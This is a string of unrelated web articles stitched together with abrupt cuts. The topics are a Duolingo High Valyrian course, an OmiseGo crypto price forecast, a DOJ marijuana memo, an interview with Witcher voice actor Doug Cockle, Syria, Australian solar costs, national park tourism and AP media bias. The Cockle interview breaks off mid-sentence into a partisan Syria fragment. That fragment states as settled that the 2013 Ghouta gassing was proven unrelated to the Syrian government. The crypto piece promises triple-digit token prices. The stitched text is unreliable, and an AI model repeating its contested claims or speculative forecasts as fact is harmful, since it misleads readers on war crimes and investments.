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Microsoft seeks to protect its customers from counterfeiting and piracy - and ensure people get what they pay for. If customers ever question the legitimacy of their software, be it a shrink-wrapped product or recovery media, they are advised to visit http://www.howtotell.com to learn more and, if they have any doubt, report the suspicious software to Microsoft.
Founded in 1975, Microsoft (Nasdaq "MSFT") is the worldwide leader in software, services and solutions that help people and businesses realize their full potential.Popular language-learning app Duolingo will soon offer lessons in High Valyrian, the language spoken by Daenerys Targaryen on Game of Thrones.
The language, which has been in Duolingo’s “Incubator” for the last several months, now has a completion date. The update is accompanied by a message from Game of Thrones language specialist David J. Peterson which reads “Valyrio Māzis,” roughly translated by a Redditor to mean “Valyrian is coming.” A representative for Duolingo told The Verge that the course will launch on July 13th.
As one of the last living Targaryens and descendants of Old Valyria, Daenerys is the only character who uses this exact dialect on the show. Others use regional, and less formal versions of the language (most notably the slave trader Kraznys mo Nakloz, who tries to diss Daenerys in Ghiscari, assuming she won’t understand it, and gets barbecued by one of her dragons).
Peterson created the language mostly from scratch, constructing the grammar around the two key phrases used in George R.R. Martin’s A Song of Ice and Fire books: “Valar Morghulis” (“All men must die”) and “Valar Dohaeris” (“All men must serve”). He also wrote the entire Dothraki language used in the show, and spoke about the process during a world-building discussion at the first Con of Thrones earlier this month. At the con, he said that fans of Game of Thrones often tweet at him to correct translations of High Valyrian or Dothraki used on the show.
This is the first time there’s been an official course for the language, but you can also find nearly complete dictionaries in various places online. The truly dedicated have already figured out how to speak like Targaryens. And Living Language offers a one-year course for learning Dothraki that costs $30. There are lots of options for you, if you want to prep for season 7 of Game of Thrones by learning an entirely new language that will have no real-world use.
You can also try out HBO’s pretty fun new Snapchat filter. I downloaded it this morning and threw dragonglass daggers at a bunch of White Walkers in the office.
Update: Updated July 11th 11:41 AM ET to include launch date provided by Duolingo.Vitalik Buterin, Ethereum founder, said today (link below) that his favorite token model is OmiseGo’s (OMG) staking token. He expressed his opinions today on his personal Twitter account that counts an impressive 365K followers. Vitalik represents one of the strongest leaders of the crypto revolution.
The reasons presented for this pick were, as quote:
“* Not a medium-of-exchange token
* Clear valuation model (expected discounted future tx fees minus node operation cost)
* Requires running node to get returns, not passive income (so more legally defensible) “
Vitalik Buterin, Ethereum founder on Twitter
Source: https://twitter.com/VitalikButerin/status/940429788673536000
This represent a big notoriety for OmiseGo (OMG), Ethereum is one of the biggest players in the crypto community and Vitalik has always represented one of the people that have the most influence in the market because of it.
Through the form of POS (Proof-Of-Stake), OmiseGo (OMG) intends to create a way for you to be a validator whilst still being a light node, removing the need to download the entire chain from validators.
Not only this but they also expect to have a return system where by validating the network one could receive roughly $4 USD per staked token. This means that becoming a validator for this network will make you have returns that could be translated for income.
This is achieved through an objective that can be met through monthly revenue in transaction fees of the OmiseGo Network through the staking of your tokens (OMG). By meeting these objectives your fees will have a discount allowing you to keep the differential.
Incentive Plan for OmiseGo (OMG)
Making this a form of an incentive plan, the OmiseGo (OMG) network shows enormous potential in terms of adoption. Most of the people involved in the crypto market will see that validating this network will be a very profitable form of investment.
Vitalik brought to the table the possibility of making the storage of information or applications inside the blockchain through Ethereum. This led to the rise of the ICO’s in which, after Coinbase added ETH, we became able to easily crowdfund a project by creating an ERC-20 compliant token inside Ethereum’s Network.
A lot of ICO’s (the majority) were then created where, by the emission of these tokens, you could easily get funding. It would work as a pre-sale where this new ERC-20 token would represent your contribution to the project.
This brought a big market to the crypto community. OmiseGo(OMG) is a project that was defined by Forbes as a Fintech Rockstar. A lot of support behind OmiseGo comes from Ethereum, as seen below, we’re able to observe that most of the advisors on OMG are from the Ethereum project.
Image 1 – OmiseGo’s Advisors – Source: https://omisego.network/
Market Analysis
After the announced partnership with McDonalds, OmiseGo (OMG), plans to begin the incentive plan with them. Currently OmiseGo is also trying to get inside Thailand at other levels as well. They intend to implement a white label wallet in which every person that doesn’t have a bank account in the area (roughly 250 million adults) will be able to safely store their money.
Yes, you can’t expect that every single one of them does exactly that but just 1% of the population would represent an additional 2.4 trillion USD going in the network. If they succeed at entering this market by just this small quota OmiseGo (OMG) can have tremendous gains.
Currently being traded at $9.64 USD OmiseGo, sitting at #21 could be one of the top 10 coins by early this year. Check out the charts below.
Image 2 – OmiseGo Charts – Source: https://coinmarketcap.com
Putting in perspective the growth that the market in overall has had, we see that OmiseGo has still a leap to take. In the last months, November and December, almost every project saw gains of roughly 100%-200% whilst OmiseGo still hasn’t grown since the announcement of the McDonalds partnership in Thailand.
By as early as February, in my opinion, we could see OmiseGo (OMG) reach the 3-digit (USD) milestone. If so, any investor that got in now will see how big of a train OmiseGo could be.
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Since Washington and Colorado voters passed ballot initiatives in November that legalized marijuana in their states, the shadow of the federal government has loomed large. As the months went by and each state went about setting up systems of regulation to determine the minutiae of the policies, there was no word from the Department of Justice (DOJ) on how—if at all—it would respond to these new state laws that directly violate the Controlled Substances Act. Most pressing was whether the DOJ would challenge the laws in court.
Both states could finally breathe a metaphorical sigh of relief last week when the Department released a series of guidelines, more than nine months after the initiatives passed, and it became clear the DOJ would not take the states to court. In a memo to U.S. attorneys, Deputy Attorney General James Cole wrote that so long as the state policies did not interfere with federal priorities, U.S. attorneys should not focus on prosecuting those buying or selling marijuana through the state-regulated systems. The directives applied not just to Washington and Colorado, but to the 20 states with medical marijuana programs as well. “The initial reaction was break out the champagne and Cheetos,” said Sanho Tree, the director of Drug Policy Project at the left-wing Institute for Policy Studies.
Then came the questions.
Federal law on marijuana hasn’t actually changed, so U.S. attorneys can still prosecute anyone breaking it, regardless of the guidelines laid out in the new memo. While University of California law professor Mark Kleiman, a leading expert on marijuana policy and a consultant to Washington state’s program, has suggested the DOJ give waivers to the states, which would give pot cultivators more legal standing, the Department opted to stop short. This memo cannot be used to defend those selling or buying marijuana in court and at any point, this administration or a new one can write a new memo changing the rules. Meanwhile, the memo itself leaves significant leeway, because the list of federal priorities is broad, ranging from preventing marijuana distribution to minors to interstate drug trafficking to preventing “adverse public health consequences.”
But despite the question marks, the administration’s position still marks a turning point in American drug policy—and carries some major implications. “For the first time ever, the Justice Department has clearly stated that it will allow states to move forward with regulating the cultivation and sale of marijuana,” says Mason Tvert, spokesman for the pro-legalization Marijuana Policy Project. “This is not the be all end all of marijuana reform but it is a significant milestone.”
Regulation is Now King
Tucked away on the third page of the memo, Cole, the author, goes so far as to suggest that if a state has a strong regulatory system, legalization might actually help the Department of Justice pursue its priorities:
Indeed, a robust system may affirmatively address those priorities by, for example, implementing effective measures to prevent diversion of marijuana outside of the regulated system and to other states, prohibiting access to marijuana by minors and replacing an illicit marijuana trade that funds criminal enterprises with a tightly regulated market which revenues are tracked and accounted for.
The message of the memo is clear: If states have a strong regulation system, the feds won’t need to get involved. But if growers and sellers can easily find loopholes in the states, then watch out.
The idea is that setting up a regulated system for marijuana creates a series of incentives. While legalization will likely bring the price of marijuana down, vendors who choose to sell marijuana can stop risking jail time by engaging in illegal activities. Furthermore, by creating a legal market, the state can better prevent sales to kids—while drug dealers often don’t worry about selling to minors because they’re already breaking the law, dispensaries won’t want to risk losing their license. Similarly, vendors won’t want to risk selling across state lines.
While they take different approaches, both Washington and Colorado have put quite a bit of effort into creating clear and strong regulations on the sale of pot. Colorado converted a strict medical marijuana program into its legalization program, allowing those who already have licenses to dispense medical pot to get first dibs on general licenses. Colorado also requires venders to grow 70 percent of what they sell, a system of “vertical integration” meant to limit drugs coming from the black market. Washington, which had a loose medical marijuana program with little oversight, has started more from scratch, basing its pot policies on the alcohol regulation system.
The emphasis on regulation also applies to the dozens of states that allow medical marijuana—which range from the tightly controlled, like Maine, to the famously lax, like California. Tvert says the memo makes explicit what’s already been a practice for the DOJ. “The federal government interference in state marijuana laws over the last few years has really been directed at states without strong regulatory systems,” he says, noting that while pot dispensaries in California and Nevada have faced federal raids, those in tightly regulated states, like Arizona and Maine, have not.
Advocates in loosely-regulated medical marijuana states, like California, may now choose to push harder for a tighter system of regulations. Already, in response to the DOJ memo, U.S. Attorney for western Washington, Jenny Durkan, made a statement noting that, “The continued operation and proliferation of unregulated, for-profit entities outside of the state's regulatory and licensing scheme is not tenable and violates both state and federal law.” The statement—a direct reference to the largely unregulated medical marijuana facilities in the state—will likely pressure more dispensaries to submit to the state’s legalization system.
Big Is Fine
The DOJ memo also repeals one of its past priorities—targeting large and for-profit marijuana dispensaries. Shortly after the Obama administration came into office, the Attorney General’s Office put out a memo authorizing U.S. attorneys to target commercial enterprises. The assumption was that large-scale operations were more likely to be violating some of the priorities, like allowing money to make its way to drug cartels or encouraging increased marijuana use. That assumption has helped determine which dispensaries get raided.
Last week, the DOJ reversed its position and instructed U.S. attorneys to “not consider the size or commercial nature of a marijuana operation alone as a proxy for assessing whether marijuana trafficking implicates the Department’s enforcement priorities”. That further encourages vendors to push for stronger regulations in their states; if the regulations are stronger, companies will be able to grow with less fear of a federal raid or a prison sentence.
Notably, however, the memo did not address banking laws, one of the key hurdles for vendors looking to start legitimate marijuana businesses. No one can get banking services for their pot-growing company—it would violate federal banking laws which bar banks from working with illicit businesses. Congress isn’t likely to amend such laws any time soon, and in the meantime, vendors are stuck finding tricks and loopholes to conduct their business, leaving them open to lawsuits or stuck operating in cash with a higher likelihood of getting robbed.
Other Countries Are Freed Up
While other nations, most notably the Netherlands, have decriminalized marijuana possession, the drug is still technically illegal, banned in international treaties and United Nations agreements. With the U.S. as the big booster for punitive drug policies, Tree, an expert on international drug law, says plenty of countries ravaged by drug wars were hesitant to consider legalization, despite the possibility it would stem some of the violence.
“This [memo] creates tremendous political space in Latin America and other places,” he says. “Finally the bull dogs have backed off.”
Uruguay was already on its way to legalizing marijuana with a state monopoly on cannabis. But across the region, countries are considering similar maneuvers—political leaders in Guatemala, Costa Rica and Panama, including those on the right, have considered the perks of a legalized system.
The DOJ memo left many questions unanswered, but it also left the door wide open for widespread efforts to create a strictly regulated and legal way to buy and use marijuana.It's the middle of December, 10 days away from Christmas. I'm on a train chugging along the south coast of England, across chilly countryside under a darkening grey sky. It's almost idyllic but mostly bleak, and so very ordinary - I've watched industrial estates and small villages like these roll by a hundred times before. This isn't where you'd normally go looking for a superstar.
Bournemouth station is my stop, a seaside town with nice Victorian buildings and lots of students. Many of them study at my destination, the Arts University of Bournemouth, where I'm about to meet the course leader of acting. His name is Doug Cockle, but you and I know him better as Geralt of Rivia.
Cockle looks like a teacher, like every teacher you ever saw walking around a campus or school corridor. Nothing marks him as extraordinary. He's middle-aged, a bit shorter than me and wears sensible glasses. He's dressed comfortably rather than showily in plain, warm, everyday clothes. His hair is shaved and he has a slight beard. He does not have a mane of flowing white hair.
He isn't gruff, either, or arrogantly aloof. He is mild-mannered and friendly. And as we walk to an onsite cafe for a cup of coffee we make everyday small talk about students leaving for Christmas and oh my isn't it getting cold. He buys me a coffee with a handful of change from his fleece pocket. It is an entirely unremarkable situation.
:: GTX 1080 Ti vs RTX 2080: Which should you buy?
Then I hear his American accent, half growl, half purr, and I remember who he is, like it's some kind of secret, like he's wearing some kind of disguise. I realise I know, and I'm not the only one.
"I don't know when people really clock," he says, "some of my students I think still don't know. I do share it when I'm recording something; if the students ask, I'll tell them. But I was supposed to be very tight-lipped about The Witcher 3 so I didn't say a lot about it. I got told off once for just tweeting. But the ones who were listening knew.
"There are some students who I talk to regularly who I can see getting starstruck, where they kind of go a little funny, a little awkward, and they don't quite know how to talk to me. It's almost like they're scared to approach me about it, or they feel like they don't want to cross a line.
"But one of the things with voice acting is it's the voice people make a connection to, not the face, not the whole person, whereas with film and television we make a connection with a person because we're seeing a person. With Witcher 3 they see Geralt and they hear my voice, but they attach that voice to that other image. It's a weird separation of actor and audience."
But here is someone synonymous with a game and series at least as successful as anything Troy Baker, Nolan North and Jennifer Hale have appeared in. He's video game acting royalty. Can you imagine The Witcher games without him? Because that was very nearly the case. Had destiny not placed a talkative friend where it did, I wouldn't be speaking to Doug Cockle today.
Cockle as Captain/Father John Maloney in 2001 television series Band of Brothers.
Doug Cockle didn't always want to be an actor. He was born into a military family in 1970 and grew up in Twentynine Palms near a US Marine Corps base where his father was an officer. His mum was a teacher, his dad dabbled in art, but neither of them were theatrical. "I wanted to be a helicopter pilot, or raise dogs in Oregon," he says now we're settled in a small white room in the drama wing of the university. He quite fancied studying wildlife biology like his dad. That interest turned to medicine and a place at university as a biology major after he read about gene manipulation curing diseases in unborn infants and thought it was a brilliant idea. But he couldn't get the grades.
It was then Cockle turned to theatre, where most of his friends were and where he was spending most of his time. He had put on shows for his parents, with his sister, when he was growing up, so perhaps it was a lingering desire that led him there. He doesn't know. Point is, he went, he made "a wild leap", and he landed with a theatre degree from Virginia Tech in 1993.
From there he moved to Seattle to make it as an actor, worked the fringe, recorded adverts - good paid work - and took on a variety of day jobs, as actors do, to support it all. One of those was in a little shop in Seattle's historic Pike Place Market, Mug's Antiques. A lady came in and bought a paperback book. "We got to chatting. I suggested she just bring the book back when she was done and she could get another. She did... several times," he says. It led to coffee, to a walk in the park, to one thing, to another, and marriage.
Three years later, Cockle and his wife moved to Pennsylvania so he could study for an MFA in acting. The obvious next step, for an actor, would have been the bright lights of New York or Los Angeles, but Cockle wanted an adventure and his wife missed her parents, who were in the UK (she had once lived here too). So it was decided: go back to the UK for a year. That was 17 years ago.
They moved in July 1999 and almost instantly Cockle got a break, "blagging", as he puts it, a role alongside Honor Blackman at the York Theatre Royal. It got him noticed, and he landed an agent. And the agent landed him both a role on the Band of Brothers television show and an audition for a video game voiceover. It was October 1999.
"It was all very exciting but I knew nothing about voiceovers for video games," he says, "I didn't even know that they existed. I went along to this little studio that was built into the side of a house on a hill in Harrogate up in Yorkshire, for a game called Independence War 2: Edge of Chaos, and I auditioned for the main role, Cal, and got it.
"That," kids running around half-naked because the family's living room was next door to the studio, "was the beginning of voiceovers for games for me."
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Cockle as Larry in Burn This at the Duke's Theatre Lancaster, year unknown.
As chance would have it, Cockle had gotten in with the right company at the right time. Those kids belonged to Mark Estdale, whose fledgling Outsource Media company has been at the forefront of UK video game sound recording ever since, albeit now residing in London rather than on the side of house on a hill. Estdale gave Cockle a lot of work. Indeed, it was Estdale who phoned him about The Witcher.
By then it's roughly 2005. Not only is Cockle an old hand at video game voiceovers, he's appeared alongside Pierce Brosnan and Geoffrey Rush in The Tailor of Panama; alongside Christian Bale and Matthew McConaughey in Reign of Fire; and landed a job at Arts University Bournemouth. Not to mention the theatre and radio bits in between. He's been busy, as actors tend to be.
Cockle heads to London and meets a man called Borys from CD Projekt Red. That's Borys Pugacz-Muraszkiewicz, who was then a lead translator, now a lead writer, and has always been a key person for Cockle. "He's the one who suggested that I think of Clint Eastwood in Dirty Harry as an example of the kind of thing they wanted," he says. "I think I spent about 15 minutes in the booth playing with things and then I headed off." A couple of weeks later he gets the call; he's got the part.
"It was work as normal" Cockle says. Up to Outsource's old offices in Sheffield on the train for a week. Nothing seemed out of the ordinary. Except, well, he does remember there being a particular excitement about the three or four Polish people there, and when they handed him the script and he thought the game sounded like fun.
"We spent a week, four or five days, [recording]. And they were long days," he says, "some of those days were 10 hours, which is a long time to be doing any voice work. It was hard. It wasn't painful or anything like that but it was a challenge. It was an intensive time. And I remember thinking 'this is going to be a big game'. There was a lot of dialogue."
Then just like that the job was done. He says goodbye and thanks for the lunches and heads back home. Life carries on. He doesn't even realise when The Witcher came out in October 2007, just like he doesn't realise casting has begun for a second game until destiny intervened.
"I didn't know Witcher 2 was even happening until one of my actor friends said, 'I went and auditioned for this game the other day, Witcher 2, didn't you do Witcher 1?'
"I said 'Yeah, who did you audition for - was there a particular character?'
"He said 'Yeah, Geralt, didn't you play Geralt?'
"I said 'Yeah, I did!'
"Oh it felt rubbish!" he says, to know they were casting but he hadn't been called. What on earth had he done wrong?
But an actor is nothing if not tenacious, so he brings up Borys' number on his phone and sends him a message, plays it cool, says he's heard there are castings and could he come in. And Borys replies.
"What happened," he says, "is between The Witcher 1 and The Witcher 2, CD Projekt decided that they wanted to completely shake it up. They were pleased with how Witcher 1 had done but they wanted to recast everything, go with a different voice production studio. I don't know why; their reasons were their own. But that's what they decided to do."
Borys apologises and goes to see the new voice director for The Witcher 2, Kate Saxon, and mentions Doug Cockle. "And the story is that they went back and listened to some of the recordings from Witcher 1, and Kate went 'Actually he's really good - that's a good voice for Geralt. If you're happy to bring him back I think we should just do that.'
"It was almost an accident that I ended up doing all of Geralt in all three games."
Cockle as Goosh in 2002 film Reign of Fire.
The Witcher 2: Assassins of Kings was recorded at a different studio, called Side, and in London. The whole production was bigger, from game to organisation, everything. Our returning hero, Cockle, walked in a little afraid.
"I was pleased to be asked to do Witcher 2," he says, "but, I'll be honest, when I went in for the first session I was very nervous because of what had happened. Even if you know it wasn't a personal thing, that you had done a good job previously - which I did know because I was told that - it shakes you. You begin to question, 'Well could I have done something differently that would have made them think differently between the two games?' So I did go in very, very nervous."
But as time rolled on, Cockle found his groove. He even found room to inject some humour and emotion into Geralt this time, to humanise him. "I remember the troll storyline and thinking it was just silly," he says, "and that was good, that was a good thing, because CD Projekt wasn't taking themselves quite so seriously. It was nice to see some humour creeping in." Ditto emotions, something CDPR kept "a hard rein" on before. "In Witcher 2 they started to allow that."
On the last day of recording the team goes for lunch and then goes their separate ways. This time he had hints from Borys about The Witcher 3, that it was coming, though the thought "gosh I wonder if they're going to do a similar thing and want to shake it all up and move things around" did cross his mind.
May 2011 comes around and The Witcher 2 is released. Cockle waits with anticipation for the reaction to his performance. And keeps waiting. And keeps waiting. "Nothing," he says. "Nothing at all. There was almost no interest in me whatsoever."
A little deflated, he checks Amazon reviews to see what people think. "And someone," he says, "said something like, 'Yeah it's great but the guy who plays Geralt sounds like a 16-year-old trying to do a 42-year-old's voice,' or something like that! And I actually was so pissed off about that I got on and replied and said, 'Actually, I am that age - and I disagree. It is my voice and go stuff yourself!'"
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Cockle as Lincoln Mathers in 2004 film London Voodoo.
"By the time we got to Witcher 3, I knew Geralt," he says. Cockle knew him from Andrzej Sapkowski's books, by now available in English - he's a big fan, "loves" the Tower of Swallows - and knew him from two games and the shared plotlines for the third. He even watched the ropy Polish Witcher television series. "It wasn't great," he says, "but it was OK."
The voice was also by now second nature, "bedded in", he says, whereas in The Witcher 1 it was "a very conscious effort" to maintain. "If you go back and listen to Witcher 1, Witcher 2, Witcher 3, you will hear a difference in terms of performance, but I don't know how much of that is [on purpose]. My voice changed," he says. We are talking about 10 years of someone's life here, and he'd quit smoking during The Witcher 2.
"Going into Witcher 3 was like slipping into a comfortable bath," he says - exactly how Geralt starts The Witcher 3, coincidentally. Cockle knew the team, the studio, the character, the voice, the world. "It was really nice to go back in."
Funnily enough, though, Cockle barely knew the rest of the cast. "It's very rare for actors to record together for games, partly because availability for individual actors is often very hard to gel. I've always recorded alone in the booth for Geralt," he says. "We're like ships in the night. Sometimes I meet people as they're coming out of a session and I'm going into my session, and we'll run into each other in the hallway, but even then there were only a very few of the actors from any of the Witchers that I actually met."
He met Triss, Jaimi Barbakoff, but he never ever met Yennefer, Denise Gough, although one afternoon he came close. He'd been to see Gough in her starring - "brilliant" - role in West End production People, Places and Things. "I went to the stage door because I was going to introduce myself and say, 'Hey great job saw the show and by the way I'm Geralt,'" he says.
"But I waited by the stage door, I waited for about 15 minutes, and thought, 'You know what? She's probably taking a nap.' Her performance was so intense and there was another show that evening, so I left her to it."
Ships in the night. Odd though, considering the moments Geralt and Yennefer shared on the screen, on a certain unicorn. But even those moments, the sex scenes, are handled alone - pun, I'm afraid to say, intended.
"It's like the violence," he says, "the hit that the character takes, the damage that he or she takes. You have to do a reel of different intensities, different kinds of injuries, different kinds of screams, different kinds of dying - you have to die different ways. It's the same for sex; you have to enjoy yourself in different ways. What is that other character doing to you? What noise does that make you make? It's... interesting!"
And a bit embarrassing.
"It's one thing if you're doing a love scene, any kind of real intimacy, on stage or screen," he says. "It's easier to do when you have someone there you can do it with. That's natural, that makes sense. It gets awkward when you have to negotiate 'tongues, no tongues?' but there is a negotiation that happens silently or verbally.
"When you're doing it in the booth there's a different kind of awkwardness, because it is a bit like masturbation, you're being caught masturbating. Do you know what I mean?"
No! I mean what?! I mean do you know what he means?
"That's what it feels like," he says. "If you can imagine yourself having a good old wank and in walks your mum. It's that kind of embarrassing feeling."
"We're still early days in terms of people fully appreciating the contribution that the voice actors make to the games," Cockle tells me, topically.
"It's a funny thing with games because the voice actors, no matter how big we think we are, how important we think we are, we are a very very small part of the overall development process of the game. There were hundreds of people working at CD Projekt on Witcher 3 in various capacities. They're not being brought in for three days a week for a month: they're there every day for five years or however long they were there slogging away getting this thing put together.
"The developers are the stars of the games industry. Where film, the production company is much more behind the scenes - the focus is much more Tom Cruise or whoever it is; in games, the focus is the game and the people who've developed the game. Voice actors are just a part of that. One part of it. One part among 30 parts.
"What I'm trying to say is, I was expecting to get a different kind of attention from The Witcher 3 than I'd had from anything else, but I was surprised, eventually, how much attention I've had. And at the same time," he says, "I'm also surprised at how much attention I've not had, but I don't know why I say that - perhaps it's my ego, the actor's ego."
Cockle prepared himself and his wife for The Witcher 3 opening doors, maybe even relaunching his full-time acting career. "I knew The Witcher 3 was going to create a stir I would not have been able to generate otherwise," he says. But besides recording several roles for Sony's upcoming PlayStation 4 exclusive Horizon: Zero Dawn, it hasn't really happened. Not yet.
"It's definitely changed my life in a number of ways, some intangible and some very tangible," he says. "A simple little thing: the money I was earning. You have to understand that while The Witcher's happening I'm doing other things as well. I have a small role in [the film] Survivor with Milla Jovovich, I have a small role in the Kevin Costner film [Criminal] that just came out. I've been doing other games. It's not just The Witcher.
"But The Witcher being what it is, being the big one of the last few years - of the last 10 years really - the extra money has been nice. I'm not rich by any measure but it's allowed me to do a few things that were perhaps a bit frivolous and fun that I might not have done had I not had that extra money. Things like I bought an electric guitar because I've always wanted one. I wouldn't have done that if I didn't have some extra Witcher money on the side to go, 'You know what? I'm just going to go spend £500 and buy a guitar!'"
Another major plus is Doug Cockle gets to say he's Geralt of Rivia. "It's fantastic! People love the game, love the character and they contact me on Twitter and they say, 'Just wanted to say fantastic job! Love your voice, love what you do with Geralt, love the game!' And it's nice, that's a really nice thing."
He's been nominated for awards, won a NAVGTR award, and there could always be more. He's been to the BAFTAs, been to the LA Game Awards. "That's all really brilliant stuff," he says.
Assassin's Creed Origins guide, walkthrough and tips Everything you need to know about stealthing and stabbing your way along the Nile.
Doug Cockle as I see him before me now, 15th December 2016.
I sense that he's waiting, coiled ready for an opportunity. "It's not happening now, and I don't see something coming in that regard but it's entirely possible," he says, he hopes, "because when you get that kind of attention, people notice." But at the same time he's torn, all too aware of the real toll recording The Witcher 3 took, in London half the week and working around the clock at University the rest. "It was putting a serious strain on my personal life," he says. "And I'm not saying I wouldn't do it again, but I'm aware now, having come through it, of just what an effect it was having.
"I don't know..." he ponders. "If an opportunity came up in video games or in television or film, something big that was going to mean a big paycheck and a lot of work then I would have to consider that very carefully, but I can't just take a leap into the unknown and risk the stability of my family on a complete gamble."
His teenage children are happy where they are, his wife is happy where she is. They have a comfortable life. "The extra acting work that I do," he says, "whether it's a lot of work or a little bit of work, is part of feeding my soul."
If he chased the dream he would have to travel a lot, probably without the family (he was away in Ireland for three-and-a-half months filming Reign of Fire, albeit before kids), and there would be no guarantee of work, of income. "It's not a healthy situation," he says. And unlike Troy Baker and Nolan North and Jennifer Hale, who he admires, he says, "I'm not very good at playing the game."
The Witcher 3, though, he has played. "Yes all the way through," he says. "I even got the ending I wanted." And Triss, if you're asking. "You know," he adds, "I have a sneaking suspicion that not all those grunts are mine."
Maybe Geralt of Rivia is Doug Cockle's crowning achievement, perhaps those days of galloping around the globe chasing fame are for someone else, someone singler, someone younger. It doesn't really matter, it's still a towering achievement; The Witcher 3 shows every sign of going down in gaming legend. CD Projekt Red may even bring him in again for Cyberpunk 2077. He's certainly game. "Absolutely!" he beams.
"I have joked with them about bringing me in as an Easter egg. I've jokingly said, 'You've gotta bring |
the terrorist threat and the appearance of Islamic State [IS, formerly ISIS] on the world stage.”
As was the case during the buildup to the Iraq War, public divide over the fast-established official account crucifying Assad as indisputably culpable pinned those urging restraint as inhumane and callous in the face of atrocity — ironically deeming those who would prefer an end to all the killing as monsters … for not advocating further killing.
In fact, this isn’t the first dubious chemical gassing pinned on Assad by the U.S. In 2013, hundreds perished in Ghouta, Syria — just before former President Obama unsuccessfully requested the same bombing Trump just permitted. Notably, that attack has been all-but completely disputed and credibly proven to have had nothing to do with the Syrian government.
This unequivocal condemnation of the Syrian leader plastered American corporate media headlines for days, nearly sans refutation, as Russia — backing government forces to eradicate terrorist groups, including those trained and funded by the U.S. — and Iran loudly reiterated the need for an investigation before a simmering proxy war explodes should American military aggression continue.
Progressively louder demands from Russia, Syria and their allies for the Trump administration to halt this provocation have thus far been laughed off or dismissed as guilty bluster.
Now that Vladimir Putin, himself, warns a second, similarly fabricated attack would be a convenient means for the U.S. to present ‘validation’ Assad gassed his own people — fertilizer for the American War Machine to plant false humanitarian goals in pro-bombing propaganda — any incident mimicking the first should be scrutinized thoroughly.
Help Us Be The Change We Wish To See In The World.Last week, the Australian Renewable Energy Agency announced a road-map to reduce the price of large scale solar in electricity, to ensure that it can compete with wind energy within a few years. It predicted a cost of $80-$100/MWh by 2020, underpinned by new funding to support a series of big projects.
Canadian Solar, one of the big four solar module manufacturers in the world, and with the biggest pipeline of large scale solar projects in Australia, believes the cost of solar will fall even faster – by 50 per cent from current levels within five years, and down to a price of $75/MWh by 2020.
Daniel Ruoss, the head of Australian operations at Canadian Solar, said the big three ticket items in reducing costs in Australia are on technology, finance and installation (also known as EPC – the contractors that build the plants).
Ruoss said the reduction in the cost of finance would be accelerated by support from the Clean Energy Finance Corporation. And he said there were signs that Australian banks were “catching up” with the international peers.
The EPC costs in Australia are one of the highest in the world – “too much fat and not enough competition”, Ruoss said – and would only likely fall once their was a big pipeline of projects under construction, and they attracted Asian EPC companies as well as the European ones.
“Once the Asian EPCs come in, – and you have sufficient demand – it will push the price down. We have seen it in all the other markets,” Ruoss said.
Technology costs, he said, were in the control of the module manufacturers such as Canadian Solar. Capacity factors would also increase as panel efficiency improved. Module costs had fallen 25 per cent in the last three years in Australia and Australia had some of the lowest PV panel pricing globally.
Canadian Solar has around 1GW of potential large scale solar projects in Australia, after picking up the pipeline of projects virtually as a free-option in its purchase of US project developer Recurrent Energy.
Ruoss says 100MW are at “late stage”, including the 95MW Oakey project in south-west Queensland and a 5MW fringe of grid solar project that could be announced soon. Another 400MW of projects in Queensland were at the “early stage”, while there was another 400MW in Western Australia,
Queensland, however, was the most “exciting” prospect given the activity that included the proposed 200MW capacity call by Ergon Energy, inquiries by Origin Energy, the support of ARENA, and the potential tender by the Queensland government.
Ruoss also said the corporate market – where large corporations build large scale solar installations and sign a direct off-take agreement – was also poised to grow.
Canadian has already installed 4MW of rooftop solar on the rooftops of IKEA stores, and the Public Transport Victoria is looking to commission two 20MW solar farms in Victoria to provide solar power for its trams network.
Ruoss said the corporate market in Australia could be 100MW. He said that at least 1.5GW of large scale solar could by built by 2020 to meet the 33,000GWh renewable energy target. That prediction lies in between the 750MW predicted by the federal government and the 2.5GW predicted by Bloomberg New Energy Finance.Climate seems pervasive in how it will affect human life on Earth — from ocean acidification to allergies. Scientists know a lot about how diseases may shift their range and how some species may adapt, but understanding how many tourists may visit the Grand Canyon each year in a warmer world hasn't exactly been on a high priority.
Related Content How the U.S. Army Saved Our National Parks
Perhaps it should be. Many parks are already seeing the physical effects of climate change in action, and tourism can have a huge impact on local economies and how protected areas are managed. Now, a new analysis published June 17 aims to predict how climate change will affect travel to some key tourist destinations in the United States: National Parks.
To see how people respond to temperature changes in different parks, a team of researchers from the National Park Service looked at how temperature fluctuation compared to visitor fluctuation at 340 parks across the United States from 1979 to 2013. For the most part, visitor numbers increased with temperature — until things got too hot to handle. When temperatures hit 77 degrees Fahrenheit tourism started to drop.
The team also projected how tourism might fluctuate from 2041 to 2060 under two different predictions for how climate change might alter average air temperature. Their results highlighted some key trends. High latitude, high elevation parks showed a general increase in tourism with temperature, one that was more pronounced in Spring and Fall. Parks with historically warm temperatures were more likely to experience a drop in tourist flow as it got even hotter, especially during warmer months.
Though the results might not seem super surprising — when it's really hot, people don't want to spend time outside — they still can help park managers understand their expectations for visitor levels and maintenance. Gregor Schuurman, one of the study co-authors and an ecologist on the NPS Climate Change Response program, told Laura Santhanam of PBS News Hour:
You may not be able to achieve your [attendance] goals the way you could in the old days with a changing climate. If you’re going to have a productive visitors season, you can’t ignore a melting glacier or flooding access road.
A few parks a have plans in place to cope with climate change's effects on tourism in their region. For example, when Hurricane Sandy hit Assateague National Seashore in Maryland, the storm swept away parking spots in some areas and buried others in sand, Santhanam writes. Given that extreme weather events are expected to increase, the park has made some changes since Sandy. They've started using crushed clamshells for parking spaces and plan to begin using a new mobile infrastructure system in the fall.
Hopefully, the new report will encourage other parks to come up with strategies of their own.True story: one day, a few years ago, I was sitting on a beach when I noticed the sea started going out. It kept going out. In fact the sea, which had been practically lapping at my feet a few minutes before, disappeared almost to the horizon.
I’m an educated chap and, in hindsight, I really should have known what I was looking at. But I didn’t. It was only my second day at that beach resort and I have been to one other place (Hayman Island near Australia’s Barrier Reef) where the tide does move the sea many hundreds of meters a day.
That was December 26, 2004 at 11 am on the west coast of Sri Lanka and what followed was an unprecedented series of waves that killed hundreds of thousands of people all around me. Fortunately the hotel staff had a call from a sister hotel down the coast and got all the guests and staff upstairs to safety.
When longtime Associated Press correspondent, Matti Friedman, wrote his first expose of the systematic and endemic bias at the AP in Jerusalem, I said “A Media Earthquake Started”. It was a giant earthquake that set off the Boxing Day tsunami that washed away my holiday; and likewise the AP should have been extra careful after Matti’s exposé. Well I guess they aren’t paying enough attention.
Last night, after an Arab terrorist deliberately crashed into a crowd of people, maiming many and murdering a baby, the AP rushed into action with the following astonishing headline:
“Israeli police shoot man in east Jerusalem”
